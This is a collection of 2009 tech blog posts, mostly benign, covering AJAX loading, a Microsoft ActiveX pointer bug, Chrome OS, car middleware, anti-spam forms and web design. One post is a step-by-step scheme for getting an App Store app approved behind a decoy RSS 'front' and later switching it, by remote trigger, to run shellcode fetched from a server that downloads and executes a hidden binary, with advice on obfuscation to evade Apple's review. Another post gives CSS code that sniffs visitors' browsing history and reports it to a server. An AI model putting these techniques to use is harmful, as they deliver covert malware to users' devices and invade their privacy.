This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by an astounding amount, and defers the latency of the new page’s loading to the responsibility of the client-side web browser’s script compilation instead of downloading a new, full page each change in navigation.

The Basis of the Technique

If you want to see this in action, simply click on your replies within Twitter’s web client, do anything in Gmail/Google Wave, or click a profile/photo in Facebook – watch the URL, particularly the last part (everything past the ‘#’ character, called the “hash” by many.)

Basically, it works like this: whenever you perform an action that requires a change in navigation, e.g. clicking a link to go to a profile or to view an email, a JavaScript “onclick” event handler for that link calls a shared “AJAX load this page” function that begins to load the data required to change the page.

Also, it updates the URL’s post-hash characters to make the “new page” bookmark-friendly in case a user wants to go directly to that page as if it were static HTML instead of a dynamic client-side scripting-dependent page instance.

Likewise, each time a page within Gmail (or whatever app) is loaded, it checks for hash characters and will load the data into the page, transparently to the user. Because of this, most of the time the characters after the hash is simply the latter part of a URL to be inserted into the AJAX function to load the page, e.g. the characters necessary to download a page called “http://www.gmail.com/”+hashtag etc.

Benefits of this System: bandwidth

Most professionals use this simple AJAX technique to simplify the navigation of their site and to track user activity, but there is an often-overlooked advantage to using this model: bandwidth conservation and faster loading speed via deferred processing.

Here’s a rudimentary example: when your web app doesn’t use AJAX-loading and instead relies on unique page loads each and every time the user navigates to a new page, here is what is sent to the client’s web browser each time, following server-side processing:

Even if the browser caches these files and page snippets, the inclusion statement still represents an unnecessary amount of bandwidth when multiplied by the number of concurrent users.

However, if a page uses AJAX-loading to load new content into the existing page, all of the above example code would only be loaded once, including site-wide elements such as navigation menus and general formatting sections.

Instead, the AJAX would only request “page-specific” content such as a particular email’s content (in the case of Gmail) and insert it within the existing page, which only had to load once.

This way, once the common site elements are loaded into the browser, only the changing content needs to… well… change. This can lead to tremendous savings on bandwidth, which is important when many users are hitting the site at once.

(props for still reading this longer-than-normal article – hang in there!)

Another benefit: Processing speed

When most browsers process a script, they first download the plaintext .js file from the server upon seeing it’s inclusion statement within the HTML. Then, they compile it directly to native code (or some similar action) and store the compiled JavaScript into the browser’s cache for future execution.

So, when the initial page is loaded, the included AJAX script for loading future content is compiled and cached, making it’s future execution very fast. This lowers the latency involved on the client-side when downloading future content to be loaded into the running page, and since bandwidth consumption is kept to that of the content’s usage only, the process is extremely fast compared to loading a full page each time.

Further Enhancements

If the server and web browser are configured properly, then the Apache mod_gzip/mod_deflate could further boost the speed of this process. This puts more of the loading process in the realm of processing and conserves bandwidth more, and qualifies as an enhancement since bandwidth is more of a scarce resource than processing power.

In other words, you’re more likely to see a quad-core on a DSL or shared cable connection than a Pentium III hooked into a T3 line, so lower bandwidth in favor of processing time in most situations while employing sniffing practices to ensure mobile accessibility.

Speaking of accessibility, notice that on most AJAX-employing Web apps that although there is a JavaScript event handler associated with a link, they don’t forget to keep the link intact: there is no ‘href=”#”‘ in Gmail or Facebook – a quick look at the status bar while hovering over a link will reveal basic accessibility fundamentals in practice.

This, combined with appropriate JavaScript feature degradation (without resorting to NOSCRIPT tags) will ensure accessibility while using this advanced technique: if the client doesn’t support AJAX loading or JavaScript at all, then fall back on regular site loading using full page requests.

Since only a negligible amount of users fall into that category anyway (including Googlebot and other crawlers), the loss of performance due to a few client requiring full page loads is relatively small.

Final Notes

So, as seen in the examples above, the use of AJAX content loading within web apps, as employed by Gmail and Facebook, has numerous advantages to the site and its usability while remaining transparent to the users.

Best of all, if done correctly, it can be unobtrusive and therefore non-impacting to a site’s SEO or accessibility.

Almost everything discussed here neglects the role and possible optimization in the server-side scripting involved in all this, but each web app is unique and therefore can be optimized to best suit the situation as far as server-side optimizations go: just keep the main page’s inclusion rate low so the initial page loads fast, and keep the “dirty work” required by the server-side AJAX handler to a minimum.

Also look into distributing the load between several scripts to handle different types of AJAX requests, reducing query-string parameters and the conditionals involved in their processing, and even look into distributed computing (mod_proxy and it’s family) for self-hosted web apps with large scalability requirements.

In addition, the AJAX-handlers can be easily made into a rudimentary API for a web app you may want to make available for an iPhone/Blackberry app, or if you wish to open it up for any client as Twitter and FMyLife.com have done.

One thing is certain, however: whatever the aim of your web app may be, with very few exceptions, you will almost certainly benefit from this JavaScript AJAX programming technique upon its deployment within your site or app.

I hope this will convince more app authors to move to this system of page loading. Until next time…

Use of AJAX To Conserve Bandwidth and Processing originally appeared on The Coffee Desk on November 8, 2009.

So Microsoft owned up to the bug in their “security” blog, where they were even nice enough to disclose the offending lines of code.

The Typo

The main cause of the bug was a single misplaced ampersand, used to reference the memory address of a particular variable in C and C++ programming. But when used to denote the address of a pointer (itself a memory reference to another variable), bad things happen. Namely, security issues.

Here is the code that hackers found useful in the latest ActiveX exploit for the browser:

__int64 cbSize;
hr = pStream->Read((void*) &cbSize, sizeof(cbSize), NULL);
BYTE *pbArray;
HRESULT hr = SafeArrayAccessData(psa, reinterpret_cast(&pbArray));
hr = pStream->Read((void*)&pbArray, (ULONG)cbSize, NULL);

The first pStream->Read() call is valid – if you notice, the ampersand is used to reference the address of the cbSize variable, since Read() requires a reference rather than a pass-by-value argument.

The second pStream->Read() call, however, uses the ampersand to denote the address of `BYTE *pbArray`. oops.

pbArray is a pointer, which means that pbArray stores the memory location that contains the actual value, with the value itself referenced at ‘*pbArray’ (asterisks are used to retrieve the value a pointer points to).

So instead of passing a reference to the value stored at ‘*pbArray’, the Read() function was passed a reference to a pointer (a reference to a reference, if you will). With pbArray being an array and all, this could lead to all sorts of exploits – arrays are common causes of stack-based programming attacks and buffer overflows.

The Patch

The valid way to use the code would have been this:

__int64 cbSize;
hr = pStream->Read((void*) &cbSize, sizeof(cbSize), NULL);
BYTE *pbArray;
HRESULT hr = SafeArrayAccessData(psa, reinterpret_cast(&pbArray));
hr = pStream->Read((void*)pbArray, (ULONG)cbSize, NULL); // pbArray is already a reference

Voila, bug fixed and no more exploiting this bug. Not that there isn’t a history of exploitable bugs in ActiveX or anything

The Apology

So what did Microsoft have to say about being caught with their pants down? Well, Microsoft’s Michael Howard had this to say on his blog:

I want to drill a little deeper into casting issues. This will be a side project for me over the next few months, as I wade through bug databases and code to see if there are other related issues. I’ll also speak to various static analysis and C/C++ language experts here at Microsoft and across the industry to get their views and insight. If you have a professional opinion on casting issues, please feel free to let me know through this blog.

Translation: we’ve fucked up here and there, and I’ve got to dig through the code and find the issues.

I don’t claim to be a C/C++ god, and I understand that at 3am stuff as simple as this tend to run together. I’m just surprised that Microsoft doesn’t check behind its individual programmers a little better than that, and the fact they admitted to using an older library to accomplish this bug and even told the compiler to ignore the issue.

And all the more reason, we’re talking about ActiveX here, a security nightmare given its past history. Good job on finding the one typo Microsoft, and a crate of Red Bull awaits you as you find all the other issues in what can only be described as the worst “secure” code I’ve ever seen.

Microsoft Can’t Even Type Cast Correctly originally appeared on The Coffee Desk on August 7, 2009.

This method includes some advanced programming topics, such as shellcode and therefore requires some basic assembly experience, Unix system call knowledge, and optimally some ARM experience.

Obligatory Disclaimer

This is a theory and therefore only published for experimental purposes – don’t actually implement any of these methods unless you have money for a lawyer or otherwise wish to royally piss off Apple. I’m not responsible if you break something.

If you don’t know what you’re doing, then don’t do it.

Overview

Right. With the disclaimer out of the way, let’s talk about what exactly we want to accomplish and the obstacles we face in trying to do this:

• Write an app that runs a background app/daemon on the iPhone
• Avoid detection by Apple via code obfuscation
• Get the app on the app store
• …and don’t get sued in the process

Don’t Get Caught

Running a background daemon in any Unix-based OS is not very hard, but trying to do it on Apple’s beloved (and thoroughly locked-down) iPhone OS without jailbreaking it first is going to be difficult without some fancy code obfuscation.

But, that said, there is a will and there is a way.

The Basic Example

So let’s say we want a background app that (for the sake of example) logs the time and date to a file every hour on the hour, even while running another app in the foreground. We’ll call it “Logger”, because I lack nomenclature creativity.

The aim for the app is to run in the background and log to a text file, presumably stored within the default Logger.app directory. But, Apple frowns on running apps in the background, so this is where creativity and psychology comes into play.

We know what we want to do, but we don’t want Apple to know what we want to do. So before we go any further, let’s talk about what Apple sees when they review the app.

Knowing What Apple Is Looking For

When you upload your application to Apple via iTunes connect and it’s “in review”, Apple tears the app apart.

I’m talking disassembly, I/O monitoring, CPU usage monitoring, and detailed network analysis. They will know every Darwin/Mach system call your application is making, and the conditional logic behind them.

(For a detailed diagram of how these compare with the iPhone SDK and the Objective-C runtime, refer to this post by yours truly, which provides a detailed overview of the iPhone architecture.)

So putting any of your daemon’s desired background code within your app as it goes up for review is a bad idea. The system calls and nature of the code will surely raise a red flag during review and they’ll pull the app (and note the action on your developer profile).

But, with a little trickery, we can still get the app to pass through Apple as “legit” while accomplishing what we wish to after app approval.

The Front

If we just submit a raw-dog app that does nothing but loop a function that looks suspiciously like a daemon, even all the obfuscation in the world won’t hide what we’re trying to get away with.

Furthermore, it would not be a “true” background process since the app terminates itself to yield to others eventually upon the press of the menu button (effectively killing all execution and child processes).

So, let’s introduce a “front”. Ever watched the Godfather or a similar mafia movie? Fronts were those small businesses that were merely a legitimate-looking, money-laundering front to a gambling or alcohol racket. And that’s exactly what this app needs to be in order to hide what’s really going on behind the scenes.

The “front” in our app will be a web view and RSS feed client. We’re going to make it look like our app simply displays a simple web view that follows a link from an RSS feed, with some custom logos around it and all to make it look legit. Simple enough, right?

The Switch

So our app currently appears to be a simple RSS client that opens up a web view from the news feed of our website. And that’s exactly what it will do, until we make the “switch” for it to do what we intended for it to do all along.

The “trigger” for this is relatively simple: within the RSS client, put in a conditional that appears along the lines of this pseudo-code:

if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app

The aim here is this: after Apple approves the simple RSS client app and it hits the store, we can manually redirect the RSS feed to /error.php, thus satisfying the condition and making the switch.

Leaving out the else makes it less obvious that we’re changing the course of the app if the condition is satisfied, with the return statement doing the else’s job just the same (and obfuscated at the assembly level).

The unused NSString within the satisfied error conditional is to make it look like we’re going to really handle an error, as Apple would see it during the inspection process.

So, how do we do this almighty “switch”? This is the tricky part…

Implementing The Switch

Switching from a “dumb” RSS reader to the initialization of a Unix daemon is no easy task to hide from Apple, so we have to get really creative. The solution is to use Shellcode, which is a set of executable (ARM) opcodes placed into “read-only” buffer and executed.

Refer to this paper to brush up on shellcode implementation. The opcodes in the guide are for x86, but a cross-compiler would allow easy development of an ARM executable for what you desire.

So we’d make our /error.php webpage return some ARM opcodes, and “accidentally” execute them on the iPhone like this:

// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}

That was the unobfuscated version of what aims to execute code retrieved from our php script, error.php:

So the error.php that was valid during app review gets changed to the now-malicious script above upon the app’s deployment on the app store, and the app insecurely reads the octets returned from it into a buffer. The for loop fills up exe[0], then exe[1] gets the executable “payload” code that we run on the device.

This can be a shell, the daemon itself, or a downloader for the actual daemon (as I describe below).

How It All Comes Together

The app is published as a generic RSS and UIWebView client, but after app store approval, a change made on the remote server (redirecting the RSS feed to the newly malicious /error.php) makes the iPhone app discreetly execute any code you wish via an obfuscated shellcode trick and an “accidental” buffer overflow.

The C code I provided above was not obfuscated enough, and would more than likely raise a red flag for your app during approval. Obfuscate it more with a purposely-insecure sprintf() function misuse or mixing valid and invalid uses of function pointers within your code to mask the switch even more.

Also, if your **exe string gets placed into a read-only stack section of the resulting executable, you may have to do some manual assembly editing and linking.

Shellcode contents

As for the shellcode itself, I recommend this: have error.php provide the shellcode of `wget ` and `exec()`, where the file in question is a precompiled ARM executable that you wish to run in the background.

This circumvents having to use any of your daemon’s code within your app (visible by Apple eyes), and also allows a stealthier way of doing what you want to go unnoticed.

In the case of our “Logger” example, the shellcode would download a precompiled ARM executable that does what we want it to do, and the shellcode downloaded from error.php would be the opcode-representation of the following pseudo-code:

if(the ARM executable is already present):
execute it // system("./logger &"); <- the '&' is bourne for "background"
else:
download the logger executable from the server and execute it in the background

Even better, you can change error.php's shellcode to do something else later. Beat the two week app store update review process, doesn't it?

Final Notes

This is a very hackish way to execute whatever code you want on an iPhone without jailbreaking it (and even distributing it via the app store!)

Just remember: provide a pretty good front so Apple thinks its a legitimate program, and obfuscate your intentions however you can. Provide real-looking strings that make it look like the "error handler" (A.K.A. "switch" as I called it here) look like a non-malicious piece of code.

Security specialists are going to die when they read this. This clearly details how to run any code you wish within the background of the iPhone, and even do so via the app store.

So if Johhny Blackhat wants your iCal entries, all he's got to do is write up some shellcode to get it, have a free game on the app store download and execute it while you play his "game".

I wouldn't be surprised if I'm not the first one to think of this, or if people have been doing this already.

The biggest thing is having the ability to change the entire app's execution based on a remote change. This is key in allowing the app to look legit during approval, yet allowing your dirty work to continue once it goes live on the App Store.

And with so many apps out there, nobody at Apple will have time to verify that all of them are legit.

Just remember: I'll take credit for being the first to realize and publish how to implement this, but I don't accept any responsibility for how people use/misue this

iPhone Background Apps Without Jailbreaking Or Push originally appeared on The Coffee Desk on August 6, 2009.

There is a technique, however, for easily recording a user’s browsing history without relying on a remote code execution exploit, and the only requirement is a fairly W3C CSS-compliant browser. That’s right – even JavaScript-disabled visitors can still have their browsing histories compromised with this technique.

The Disclaimer

This code is provided as an example of a flaw which spans several web browsers, but is not meant to be implemented on an actual functional web site outside of the purpose of demonstration (as we provide below). Production usage of this code is considered a violation of privacy from both the standpoint of the end-user(s) and law enforcement in some regions.

In a nutshell: This is an example of a flaw, don’t actually use this.

The Standard

W3C CSS standards state that if a hyperlink has been visited and there is an ‘a:visited’ pseudo-class CSS definition for said link, then to format the link according to the CSS statements within the ‘a:visited’ definition.

So, by adding something like the following (demonstration-only; see above) code, you can detect what sites or pages a user has been to, granted you know what you are looking for:


/* Hidden so the user doesn't see them */
a {visibility:hidden;} /* alternatively, background-image:url('/not.png'); etc. */
a.slashdot:visited{background-image:url('/v.png?site=slashdot');visibility:hidden;}
a.digg:visited{background-image:url('/v.png?site=digg');visibility:hidden;}

And the HTML:

.
.


The above code uses the CSS standard as an exploit to determine whether the user has visited Slashdot.org or Digg.com. The same code can be applied to any site you wish to detect, and so far works in all pseudo-class supporting browsers.

This excludes Internet Explorer 6, but there are other ActiveX exploits you can use for that instead

However, the code also requires some crafty PHP code for recording the information on the server via the request for the ‘v.png’ file:

The Hack

The ‘v.png’ file used above is the receiver of the visit detection. It is actually named ‘v.png.php’ on an Apache/IIS server that supports leaving off the file extension of a script name (the ‘+MultiViews’ option in Apache).

The code for ‘v.png.php’ would ideally look something like this:

There is an example of this page found here, only it doesn’t actually record any of the example links you’ve followed. PHP source code is found at the .txt symbolic link here for v.png.php.

The Fix

Browser authors can patch this up by disallowing cross-site CSS link checking. For example, if ebay.com is checking for visited links to ebay.com, then fine. But if ebay.com is checking for links to google.com, then don’t render the CSS code violating the security measure.

Sub-domains are acceptable, as some sites either use massive server farms (e.g. s1.ibm.com) or other scenarios.

All of these options should be optionally overridden in the same fashion as the about:config file in Mozilla Firefox, as some users may need to debug this functionality after accidentally violating this in their own site.

The Verdict

Will it allow shellcode to enter your computer and fire up a VNC server for remote control? No.

Will it violate your privacy on a per-site basis? Absolutely.

So while not a “code-red” exploit, it is still serious enough to be considered a major bug in both the CSS standard’s oversight and in the way most browsers blindly implement the standard. Nothing in the W3C papers states against the methods for solving this issue outlined here, and it would benefit users greatly.

An ad within an iframe HTML element could easily use this to target advertisements based on the user’s previous browsing history, especially if using the hidden CSS attribute and outputting the ad on the fly per-request.

Whatever the scenario, this needs to be fixed and promptly. While not a major exploit, it is one serious enough to be considered a major invasion of privacy for users.

(Thanks to editor-in-chief Anthony for both pointing this out to me initially and providing the example code. I’m a researcher, not a security expert A.K.A hacker)

Remotely Viewing A User’s Web History With CSS originally appeared on The Coffee Desk on August 2, 2009.

The Idea

The basic plan for the OS is to have a non-resource-intensive layer between a specialized Chrome browser (presumably the only GUI on the device) and the netbook hardware, optimally ARM-based.

The underlying OS is to be a customized Linux distribution compiled and rewritten for full optimization on netbook hardware. In addition to only linking to the minimum amount of modules required to run the OS and browser, this also includes some custom code as well.

The Developers

Google is calling on the Open Source community for help with this currently closed-source project. How well this blows over depends on how strong the open source community is currently, which is scary when viewing both the world’s economic state and dying projects like Open Office.org and MySQL.

Google’s internal developers are no stranger to operating system design (particularly Linux) and doing so on embedded platforms after their venture with Android. The only difference with Chrome OS is that it has an entirely different goal than that of Windows, Mac OS (X) or even Android itself.

Goodbye Local Machine

I’ve been ridiculed during IRC debates for years everytime I’ve said that the web as a platform will cause the local machine to lose priority in computing, and this new venture by Google combined with cloud computing and the rise of netbooks is a testament to what I’ve been saying.

So far, Google has made it clear that the only higher-level program running on this OS is to be the Chrome browser. No Java runtime a la Android, no easy method of porting standard Linux/C programs, and no local focus whatsoever save for the browser.

This, in my opinion, is a great move considering the increasing dependence computing in general has been taking on the Web. Myself, I’ve been somewhat porting standard command-line applications to web applications via my Informational Website in the hopes to further shift focus from local programs to web-based applications.

Google’s applications (recently taken out of Beta-status) are a continual testament to this as well, bring document processing, image editing and email interaction to a web frontend as well.

Limitations

This bold OS plan is not without a few limitations, however. Adobe Flash support for Linux is poorly supported at the moment, and getting Adobe to speed up the porting of Flash to both ARM and thus ARM Linux at the same time (as Apple has been trying to do) is not going to be a speedy process.

That said, while most programs either have a web-based equivalent or fall out of the scope of Chrome OS’s target market, there will be a few applications that still will have a need for running locally. With most games being Flash-based on the Web, this poses a problem as I can guarantee that the casual web user also views a computer as a gaming platform as well.

With Google owning YouTube, an Adobe partner and in my opinion Adobe’s #1 Flash supporter, this shouldn’t take too long if Google holds their feet to the fire about this issue.

Hardware

Google plans for Chrome OS to run on both ARM and x86 processors, with no ties to specific manufacturers as of this moment. This leaves hardware support up in the air as a crucial issue, unless Google explicitly builds Chrome OS to be tailored for each netbook it is to be distributed on.

And as with any netbook, 3G/global wireless Web access is a must for any phone carrier to provide, so how Google interacts with cellular providers like AT&T and Verizon for both device driver authoring and OS integration will be interesting to see.

Competition?

When the press buzzed about Google’s internal “Goobuntu” OS, there was speculation that Google would enter the OS market, which was quickly shot down by Google PR personnel.

Now that they are, it seems Google is entering two new fronts with Microsoft that they never dared to enter before: the operating system and netbook markets.

But, you have to realize something: Windows 7 and Chrome OS have two entirely different goals. Windows 7 aims to bring the Windows OS platform to the smaller netbooks, while Chrome OS is sensible enough to only bring netbooks what they need: a dedicated web browser running atop a minimal OS for hardware interaction.

And even better, unless Microsoft utilizes a key .NET feature to take on Chrome OS for the ARM netbook market, there is no way Microsoft can bring Windows and Internet Explorer to the ARM netbook scene. With ARM chips looking better and gaining support in this field, Google already has an edge.

So how this plays out will be interesting, but while Google already has an edge for ARM netbook market share, they have an uphill battle for support from hardware vendors and Adobe for the web-crucial Flash.

That said, while heavily-interactive Flash websites won’t work in the Chrome OS browser, HTML 5 has plans for a native video system that, should YouTube convert to it, allow Chrome OS and YouTube to work together until Adobe gets onboard the ARM/Linux Flash scene.

More on this as I get a closer look at the source code (following its release), and hopefully a full-on test of the running OS. For now, let’s just wait and see what happens as this develops.

Thoughts On Google’s Chrome OS originally appeared on The Coffee Desk on July 8, 2009.

This is a godsend for embedded developers wanting an easy to use API for accessing sensor information in a car for software manipulation. Previously, a developer had to do extensive research into the design of a given car’s sensor hardware, and write an interface for said hardware from scratch, all to simply take advantage of it via higher-level software.

Operating system theorists can tell you that the role of the higher-level software and that of the hardware-abstracting operating system are two completely different ballparks, and EM2P intends to further sanctify this ideology in the hopes of attracting more developers to the car software industry, similar to how the iPhone or any Java-based smartphone has done.

This comparison to Java-enabled platforms goes even further: different car manufacturers, regardless of their implementation of the sensors at the lower level, are able to provide developers with a true cross-platform API for the utilization of said sensors.

Antonio Marqués Moreno, coordinator of the EMMA project, had this to say about the platform:

One of the particular strengths of EM2P is its scalability. It only worked with one car, but it has been designed to be able to work with an entire city’s vehicle population, which offers enormous opportunities for traffic management and many other areas.

So look at it how an iPhone developer would view their target device: no longer should one have to worry about the underlying hardware and required driver software, as embedded development traditionally requires, but now developers can simply use an EM2P-utilizing application to speedily write their software and distribute it for an EM2P-utilizing car.

In addition to making sensor-utilizing software easier, the EM2P platform aims at encouraging wireless communication between cars and central communication centers. Although it sounds a little Big Brother-ish, it could lead to amazing things as far as extending the functionality of cars and easing the developmental method of applications accomplishing this.

One remaining question, though, is that with all of the tension between the EU and Microsoft, is this an attempt by the EU to go ahead and start forcing the Microsoft-populated automotive application industry to less of a monopoly , or is an effort to go ahead and standardize the application development for all cars regardless of corporate backing?

For Microsoft not to conform to the new EM2P platform would only add further tension between the corporate giant and the EU.

(source)

EM2P: EU-Funded Middleware API For Car Sensors originally appeared on The Coffee Desk on July 7, 2009.

Hiding The Form With DOM Code

When spambots crawl the web, downloading thousands of pages per day, they are looking for common HTML forms and elements: website, comment text, email input, etc.

So the first step in keeping spambots from abusing your form is pretty simple: hide it.

Unless your site’s form absolutely needs to be accessible to text browsers (such as lynx) for blind accessibility, building your form using JavaScript DOM code will prevent bots from viewing the form input fields directly, thus eliminating simple automated injection attacks (we’ll discuss direct HTTP POST attacks later).

Placing a div element with an id attribute used by an external JavaScript function to place the actual form via DOM-modifying functions is the preferred method of doing so, with a noscript tag alerting users to enable JavaScript in case of NoScript or users with JavaScript disabled.

This prevents most if not all Internet-wide spambots from seeing your form and its fields.

Now, a problem arises when one wishes to preserve form data in case of a user error. If you must verify form data within the POST handler in your server-side script, but wish to preserve input so the user doesn’t get frustrated after inputting all 20 other perfectly-valid form entries, there are some hacks for doing this:

My favorite, which involves my favorite server-side scripting language PHP (but easily adaptable to ASP and friends), is to pass along the valid form data within the query string back to the page and script, or to store the valid form entries within session variables. Then, after renaming your external script to script.js.php and settings the header’s Content-Type to text/javascript, you can modify the form’s DOM elements to contain the value that was previously entered.

This will save the user frustration should they have to enter the same form several times over due to a faulty parameter.

Preventing HTTP POST-based attacks

Even if you use JavaScript DOM code to present the form to the user, your form’s server-side target may still be susceptible to HTTP POST attacks due to human-intervention within the spambot’s programming.

A malicious user may manually look at your script to determine the form input fields by hand, then simply write a program to send inject values via HTTP POST directly (bypassing the DOM-placed “smart form” altogether).

With this in mind, it’s a good idea to protect the server script from direct attack as well. And the preferred method of doing this is session management, which boils down to cookie-usage.

Whatever your scripting language uses to preserve session variables across server-side processing, it usually entails cookie usage on the client, with a sort of hash to obfuscate the values as well as for authentication (preventing one from manually forging the cookie as well as POST data).

So, using PHP once again as my server-side example, start a session on the form page and set a boolean server-side session variable. This will indicate that the user actually visited the form page in the first place. When later processing the form, before doing any intensive work (i.e. database code) verify that the session variable was set, indicating that the client actually used the form before sending POST data to the server script.

This in conjunction with the DOM-placed form will ensure that hand-crafted bots can’t simply send B.S. POST data directly to your script, as the client must have visited the form page for POST data to be processed.

As a precaution, however, be sure to manually set the session’s expiration time to something reasonable via either the PHP script or via the .ini file. Otherwise, a malicious user could simply retrieve a cookie at a specified interval and then use said cookie to send many instances of bogus POST data.

Form randomization

Now, we return to the form again: a malicious user could still download a unique cookie from your site before sending forged POST data, so now we make the form unique for every submission. For this, either another server-side session variable or server-side storage is needed.

Insert a hidden form input field within your JavaScript DOM code. Within the server-preprocessed JavaScript code, give the field either a unique name and/or value every time the script is sent to the client, preferably using a random integer as the value.

Store the value in either another session variable, or even better in a database using the session id as the reference for finding it later when validating the POST data. Other methods of storing the value for retrieval are possible, as long as you can associate the random value with the session id later to ensure the value was generated (evidence that the form was used by a browser).

Using cookies isn’t recommended since they can (again) be forged, which this solution is attempting to prevent. This provides further evidence that the form was used by a browser.

Spam Rule of Thumb

Remember: while this will block probably 99% of your form-solicited spam, it will not indefinitely stop all spam from occurring. A user whom wishes bad enough to attack your site could still manually download and parse a form via a premade script.

It is important to realize, however, that while only 99% effective (the 1% being enough to compromise a site) this will discourage and defend against most pre-made attacks, as well as tailored attempts at compromising your site.

Using all of these methods together will defeat all of your site’s spam as well as low-profile attacks. Continuing to block known IP ranges and other non-spam and security practices is still recommended in addition to these methods.

Your users won’t notice a thing, it keeps them from using CAPTCHAs (or those lame “what’s 1 + 2″ questions), and it allows them to do what they need to while you worry less about security.

And remember to always security-audit your website by hand every so often, protect against XSS and SQL-injection attacks, and to use secure (HTTPS/TLS) encryption for sensitive form data.

Unobtrusive Antispam: Using JavaScript and Cookies Efficiently To Thwart Spammers and Hackers originally appeared on The Coffee Desk on June 9, 2009.

Make it maintainable (KISS)

KISS: Keep It Simple, Stupid. I know some brilliant people out there that take I/O into heavy consideration when designing a web application thanks to a large background in computer science or computer engineering. Unfortunately, the PHP/ASP.NET/CFM/whatever code they’ve written for the server is an absolute mess.

Frequent user-agent sniffing, cramming uncommented code into as few lines as possible, unorganized function declarations and stupid stuff like variable variables in PHP all make it that much harder to go back and add (of fix) functionality in your web app/site later. Take it from someone who’s had to clean it all up.

Even though it works now and you’ve met your deadline, you’ll be pulling your hair out later trying to solve a problem or add something to it. This is a bigger problem for freelancers than teams, because they are the only ones looking at the in-progress code (before the point of no return has been crossed).

HTML Hell

Hi, welcome to the 21st century. Allow me to hop off my hoverboard to inform you of server-side scripting, quirks-mode and semantic markup.

The table-based, completely static 5-page HTML website (usually complete with JavaScript blink effects and marquees) is so 1995. We’ve evolved since then: semantic markup is not only prettier to maintain, but also has SEO and speed advantages I covered in an earlier article, “Two Birds, One Stone: Optimizing Your site In Both Speed And SEO“.

Every server-side scripting language has an include statement or “master page” feature in it. Use it. Having to change the nav bar in 25 static pages is unnecessary and stupid. And no, webmaster of 1994, frames are not an alternative, even if Digg and ow.ly are using them.

Using these will also have other effects for your website, including accessibility for a growing audience of mobile devices and backwards-compatibility. Quirks-mode makes a great alternative to a user-agent preprocessed website (if you’re hopefully using server-side scripting).

I’ve always been critical of Dreamweaver for the crap it injects into your site’s code (if using strictly the visual tool) and other nuisances. Coda and other similar web IDEs are great alternatives for code-editing. While the design of a site is the most important aspect, using a True Text Editor ™ is the ideal way of achieving this.

Security

An insecure web application might as well not exist. I run across more obvious security bugs in websites than I can believe, and many times my curiosity gets the best of me.

If your web application relies on HTTP GET statements, POST statements, or cookie values for sensitive information, then you violated this principle.

I see this type of URL all of the time in web apps: http://MyUnsecureWebsite.com/flawed.php?file=/var/www/default/MUW/file.inc&user=NotAHacker. And 9/10 times you can change the parameters around to get any file you choose; but as a good citizen, I must tell you to instead email the web master and inform them of this error than to try and exploit it.

And it doesn’t stop there – cookies, POST values, JavaScript/AJAX requests and other parameters are frequent violations of this rule. If your web application has even a 1% chance of being exploited, FIX IT. And always sanitize user input before processing it – SQL injections are SO 2005.

Lack of testing

We all hate supporting Internet Exploiter Explorer, but we have to. The same, unfortunately, is not done by newbie web designers in terms of non-IE support.

Just because it renders nice in one engine (Webkit, KHTML, Gecko, Trident etc.) doesn’t mean another will make it look the same, as most don’t realize. All those lame “best viewed with Internet Explorer with resolution …” captions tell me “This ‘webmaster’ has no idea what quality design is and should be shot”.

So test it, fix it (look into quirks mode) and please ALL of your users.

Client Issues

This doesn’t even fall under the design issues – a bad or flaky client can be more of a pain than the site itself (unless it is done right).

“I’ll pay you from the site’s income” or “The check must have been lost in the mail again, I’ll send another in a few months” are both signs that you need to run away from that client FAST.

Other signs are a history of going through webmasters like a knife through butter, long periods of no communication, constant “then I’ll sue” threats, and signs of “the never ending project”. Again: run away, and don’t look back.

Sometimes you have to put up with annoyances like the client who thinks they’re a webmaster, etc. but if they are too flaky or generally display bad signs or give you a bad gut feeling, then be wary about doing business with them.

Conclusion

While these aren’t all of the issues a webmaster can face when making a site, they are a few of the most common I see on a day-to-day basis. Choosing a comfortable language to write a site in, keeping it maintainable, having a stable client and keeping security in mind are all steps towards making a quality website for both you and the users.

You can choose to join the ranks that violate these crucial steps towards a better career, but be aware that doing so not only hurts your sites’ userbase, but it also has an impact on you – either directly or indirectly.

The Biggest Mistakes A Web Designer Can Make originally appeared on The Coffee Desk on June 4, 2009.

I’m no marketing expert, but continuously throwing money at this attempt to suffocate Google’s most popular service via Internet Exploiter Explorer’s popularity is starting to appear kind of sad. The site promises to be more of a “decision engine”, which is a fancy term for “relabeling almost everything Google has done”.

The Trail of Failure

First, there was MSN Search, set as the default page for Internet Explorer <= 6(?) and an attempt to take over Google and Yahoo's search engine market share via Windows/IE/MSN's popularity.

It didn't really catch on.

So, enter Windows Live search: The new, sexy, web 2.0 relabeling of the same damn product, with a new interface and a separate site. The new site was set as the default search engine for IE 7, and set to be bundled with other Windows Live-branded products.

It didn't really catch on, either.

So, the geniuses behind the Jerry Seinfeld, "I'm a PC" and Mojave commercials at MS Marketing decided that the search engine needed a new, funky noun/verb name like Google and Yahoo! had. Enter Bing.

Live, err, I mean Bing

The site looks the same as the olde Windows Live search page. The results are just as out-of-date and non-indexed as Windows Live’s results. It still has slight interface bugs in non-IE browsers. The verdict is that it is, in fact, the same web site only with a new background image displaying the stupid Bing! name.

Oh, they did add some new and “innovative” stuff, though. For instance: it ranks shopping results alongside a search term for, example, “digital camera”. Oh wait, that’s not innovative – Google does the same thing.

Wait, come to think of it, the search suggestions, yellow-background ads at the top, simplistic homepage, customized results and other NEW AND INNOVATIVE FEATURES were also DONE BY GOOGLE before Bing! was launched/relabeled.

And We Care How Much?

So what’s the point? Trying to breath new interest into an old product via a new, sexy name/verb and “new” features in order to attempt to eat into Google’s primary service. I wonder how this attempt will fail, and what the new rebranding will be…

And one more thing, while I’m at it: “let me bing that for you”, “yeah, I binged her and found her myspace” and “I binged myself today” are NOT as catchy as the Google name/verb usage. No matter how hard you can try.

